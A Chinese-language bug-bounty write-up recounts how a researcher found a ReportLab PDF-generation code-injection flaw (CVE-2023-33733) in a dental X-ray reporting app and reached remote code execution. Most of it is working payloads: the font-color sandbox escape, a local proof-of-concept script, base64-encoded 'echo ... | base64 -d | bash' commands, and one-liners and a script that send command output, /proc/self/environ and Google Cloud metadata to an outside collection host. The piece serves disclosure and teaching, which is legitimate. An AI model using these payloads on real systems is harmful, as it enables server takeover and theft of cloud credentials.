白帽故事 · 2023年10月24日 0

通过html注入实现CVE-2023-33733 RCE攻击

背景介绍

CVE-2023-33733 由 Cure53 Elyas Damej 的渗透测试人员发现,本文将介绍国外一位白帽子通过采取哪些步骤,从确定目标使用什么库来生成PDF,最终又是如何实现 RCE的全过程。

目标简介

目标应用程序为牙医设计,可以上传患者的X光射线报告(支持PNG、JPG等格式),上传X射线图像后,可以编辑一些字段,如患者姓名、报告日期、评论等。在添加所有必需的详细信息后,还可以打印该X射线报告。

发现过程

首先在“生成报告”时抓包:

file

然后下载 PDF 报告并使用 exiftool 来检查是否可以识别在 PDF 生成过程中使用了哪种软件或库,遗憾的是没能获得任何信息。

然后白帽子在 comment 参数中添加了一些 html 代码:

"><img src=https://myhost>

通过使用上面的payload来识别可能用来渲染 html 代码服务器端的库/浏览器。

当再次点击“生成报告”按钮时,请求失败,检查响应包,发现报错:

file

{
"\nparagraph text '<para>Note: <font color=\"#484848\"><img src=x></font></para>' caused exception Parse error: saw </font> instead of expected </img>"
}

看到这个错误,稍微有点经验的朋友估计心里都会开了花吧?

从报错来看,服务器似乎没有对用户输入进行有效清理,而是直接在 html 文件中使用了它们。

<para>Note: <font color="#484848">{{comment}}</font></para>

因为没有有效的过滤清理,那么 {{comment}} 将被视为用户可控输入的占位符,然后将其传递到 pdf 生成库并将其转换为 pdf时就可以包含任意 html。

另外从报错信息中可以看出,由于输入了<img sr=x> ,库的 html 解析器无法解析提供的 html,因为它没有匹配的结束标记。

<img src=https://myhost onerror=alert()>

在更换了上述payload后,显示了不同的错误消息,由于在 src 属性中添加了白帽子的个人服务器地址,当图像标记呈现时,请求将发送到白帽子的个人服务器,那么日志也许能告诉我们一些有关 User-Agent 的信息。

file

["\nparagraph text '<para>Note: <font color=\"#484848\">test\"><img src=https://myhost onerror=alert()></font></para>' caused exception paraparser: syntax error: invalid attribute name onerror attrMap=['height', 'src', 'valign', 'width']"]

报错信息已经非常清晰的描述了问题所在,onerror 属性不在 attrMap 列表中,这就是触发报错的根本原因。

删除 onerror 属性再次测试:

User-Agent: Python-urllib/3.10

酷!后端是 python,当谈到 python 时,用于生成 pdf 的最流行的库之一就是 reportlab (https://www.reportlab.com/)

白帽子过去曾尝试研究这个库的源代码,试图在其中找到一些0day,但由于源代码审查并不是很擅长,所以最终以失败告终。但毕竟对reportlab还是有一些基本了解的,因此白帽子复制了错误消息的一部分并开始在源代码中进行了搜索。

很快便在 invalid attribute name https://github.com/search?q=repo%3ASudistark%2Freportlab-diff+%22invalid+attribute+name%22&type=code 中找到了匹配信息。

    def getAttributes(self,attr,attrMap):
        A = {}
        for k, v in attr.items():
            if not self.caseSensitive:
                k = k.lower()
            if k in attrMap:
                j = attrMap[k]
                func = j[1]
                if func is not None:
                    #it's a function
                    v = func(self,v) if isinstance(func,_ExValidate) else func(v)
                A[j[0]] = v
            else:
                self._syntax_error('invalid attribute name %s attrMap=%r'% (k,list(sorted(attrMap.keys()))))

这与网站中显示的错误消息完全匹配。

研究人员 Elyas 分享了Payload 如何工作的完整详细信息,如有兴趣,可移步:https://github.com/c53elyas/CVE-2023-33733

<para><font color="[[[getattr(pow, Word('__globals__'))['os'].system('touch /tmp/exploited') for Word in [ orgTypeFun( 'Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: 1 == 0, '__eq__': lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: { setattr(self, 'mutated', self.mutated - 1) }, '__hash__': lambda self: hash(str(self)), }, ) ] ] for orgTypeFun in [type(type(1))] for none in [[].append(1)]]] and 'red'">
                exploit
</font></para>

在阅读Elyas的文章后,白帽子开始尝试理解这个payload,虽然阅读起来有难度,但通过 python 控制台来逐行执行它,对于后来的理解很有帮助。

在确认了使用reportlab库之后,白帽子使用了以下payload来确认它是否确实使用了存在漏洞的版本:

<para>
              <font color="[ [ getattr(pow,Word('__globals__'))['os'].system('curl https://myhost.com') for Word in [orgTypeFun('Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: False, '__eq__': lambda self,x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: {setattr(self, 'mutated', self.mutated - 1)}, '__hash__': lambda self: hash(str(self)) })] ] for orgTypeFun in [type(type(1))] ] and 'red'">
                exploit
                </font>
            </para>

它并没起作用,pdf 已成功生成,但没有 pingbacks 发送到研究人员的服务器。而后白帽子将curl命令更改为ping,wget,希望至少能够获得DNS交互,但依然失败。

这时白帽子开始怀疑应用程序是否真的使用了存在漏洞版本的库,在找到这个答案前,只能通过本地设置来完成了。

白帽子使用 Elyas 存储库中易受攻击的代码,以帮助他可以在本地确认该漏洞:https://github.com/c53elyas/CVE-2023-33733/blob/master/code-injection-poc/poc.py

from reportlab.platypus import SimpleDocTemplate, Paragraph
from io import BytesIO
stream_file = BytesIO()
content = []

def add_paragraph(text, content):
    """ Add paragraph to document content"""
    content.append(Paragraph(text))

def get_document_template(stream_file: BytesIO):
    """ Get SimpleDocTemplate """
    return SimpleDocTemplate(stream_file)

def build_document(document, content, **props):
    """ Build pdf document based on elements added in `content`"""
    document.build(content, **props)

doc = get_document_template(stream_file)
#
# THE INJECTED PYTHON CODE THAT IS PASSED TO THE COLOR EVALUATOR
#[
#    [
#        getattr(pow, Word('__globals__'))['os'].system('touch /tmp/exploited')
#        for Word in [
#            orgTypeFun(
#                'Word',
#                (str,),
#                {
#                    'mutated': 1,
#                    'startswith': lambda self, x: False,
#                    '__eq__': lambda self, x: self.mutate()
#                    and self.mutated < 0
#                    and str(self) == x,
#                    'mutate': lambda self: {setattr(self, 'mutated', self.mutated - 1)},
#                    '__hash__': lambda self: hash(str(self)),
#                },
#            )
#        ]
#    ]
#    for orgTypeFun in [type(type(1))]
#]

add_paragraph("""
            <para>
              <font color="[ [ getattr(pow,Word('__globals__'))['os'].system('touch /tmp/exploited') for Word in [orgTypeFun('Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: False, '__eq__': lambda self,x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: {setattr(self, 'mutated', self.mutated - 1)}, '__hash__': lambda self: hash(str(self)) })] ] for orgTypeFun in [type(type(1))] ] and 'red'">
                exploit
                </font>
            </para>""", content)
build_document(doc, content)

file

可以看到该漏洞在reportlab v3.6.12中被成功触发。

那么让我们来看看修复版本中会发生什么:

file

看到错误了吗?漏洞利用失败。
当在目标中使用相同的 poc 时,没有显示错误,pdf 已成功生成,这表明他们确实使用易受攻击的版本,否则会显示错误。

另一位白帽@rootxharsh曾遇到了类似的情况,其中curl,wget,ping不起作用,因此得出的结论是Chrome 浏览器进程可能是在启用了沙盒的情况下运行的,但事实上后来当另一位白帽@iamnoooob做同样检测时,他使用了反弹 shell 成功收到回调信息。

因此回到目标应用中,curl 等不起作用,那么为什么不尝试使用 python requests 模块呢?

<font color="[ [ [ [ ftype(ctype(0, 0, 0, 0, 3, 67, b't\\x00d\\x01\\x83\\x01\\xa0\\x01d\\x02\\xa1\\x01\\x01\\x00d\\x00S\\x00', (None, 'requests', 'https://myhost'), ('__import__','get'), (), '<stdin>', '', 1, b'\\x12\\x01'), {})() for ftype in [type(lambda: None)] ] for ctype in [type(getattr(lambda: {None}, Word('__code__')))] ] for Word in [orgTypeFun('Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: False, '__eq__': lambda self,x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: {setattr(self, 'mutated', self.mutated - 1)}, '__hash__': lambda self: hash(str(self)) })] ] for orgTypeFun in [type(type(1))]] and 'red'">exploit</font>

替换了payload后,白帽子在他的服务器上成功地收到了pingbank:

User-Agent: python-requests/2.31.0

这也证明了我们可以在系统上实现任意代码执行,再次修改 poc 并依靠它来将命令输出发送到白帽子的服务器:

python3 -c "import requests;requests.get('https://en2celq7rewbul.m.pipedream.net/$(id)')"

file

python3 -c "import requests;requests.get('https://en2celq7rewbul.m.pipedream.net/$(cat /proc/self/environ)')"
(None, 'os', 'echo cHl0aG9uMyAtYyAiaW1wb3J0IHJlcXVlc3RzO3JlcXVlc3RzLmdldCgnaHR0cHM6Ly9lbjJjZWxyN3Jld2J1bC5tLnBpcGVkcmVhbS5uZXQvJChjYXQgL3Byb2Mvc2VsZi9lbnZpcm9uKScpIg== | base64 -d|bash'), ('__import__', 'system')
<font color="[ [ [ [ ftype(ctype(0, 0, 0, 0, 3, 67, b't\\x00d\\x01\\x83\\x01\\xa0\\x01d\\x02\\xa1\\x01\\x01\\x00d\\x00S\\x00', (None, 'os', 'echo cHl0aG9uMyAtYyAiaW1wb3J0IHJlcXVlc3RzO3JlcXVlc3RzLmdldCgnaHR0cHM6Ly9lbjJjZWxyN3Jld2J1bC5tLnBpcGVkcmVhbS5uZXQvJChjYXQgL3Byb2Mvc2VsZi9lbnZpcm9uKScpIg== | base64 -d|bash'), ('__import__', 'system'), (), '<stdin>', '', 1, b'\\x12\\x01'), {})() for ftype in [type(lambda: None)] ] for ctype in [type(getattr(lambda: {None}, Word('__code__')))] ] for Word in [orgTypeFun('Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: False, '__eq__': lambda self,x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: {setattr(self, 'mutated', self.mutated - 1)}, '__hash__': lambda self: hash(str(self)) })] ] for orgTypeFun in [type(type(1))]] and 'red'">exploit</font>

/proc/self/environ 的内容非常非常敏感,由于负责生成 pdf 的服务器托管在 Google Cloud 上,我们还可以获取Metadata 响应,为了确认这一点,白帽子使用了如下payload进行测试:

python3 -c "import requests;import base64;metadata_url = 'http://169.254.169.254/computeMetadata/v1/instance/?recursive=true';metadata_headers = {'Metadata-Flavor': 'Google'};response = requests.get(metadata_url, headers=metadata_headers);encoded_metadata = base64.b64encode(response.text.encode()).decode();target_server_url = 'https://en2celq7rewbul.m.pipedream.net/';data_payload = {'metadata': encoded_metadata};requests.post(target_server_url, json=data_payload)"

经过美化后的PoC:

import requests
import base64

metadata_url = 'http://169.254.169.254/computeMetadata/v1/instance/?recursive=true'

metadata_headers = {'Metadata-Flavor': 'Google'} # custom metadata header requirement we have RCE so we could add it easily ;)

response = requests.get(metadata_url, headers=metadata_headers)

encoded_metadata = base64.b64encode(response.text.encode()).decode()

target_server_url = 'https://en2celq7rewbul.m.pipedream.net/'

data_payload = {'metadata': encoded_metadata}

requests.post(target_server_url, json=data_payload)

上面的代码可以向 Google 云Metadata端点发出请求,然后将 json 响应发送到白帽子的服务器(base64 编码)。

在确认所有这些信息后,白帽子停止了继续测试并向厂商报告了以上所有内容,目标厂商对漏洞报告非常满意,尽管他们的最高赏金是3K,但他们为该漏洞支付了4.5K赏金。

file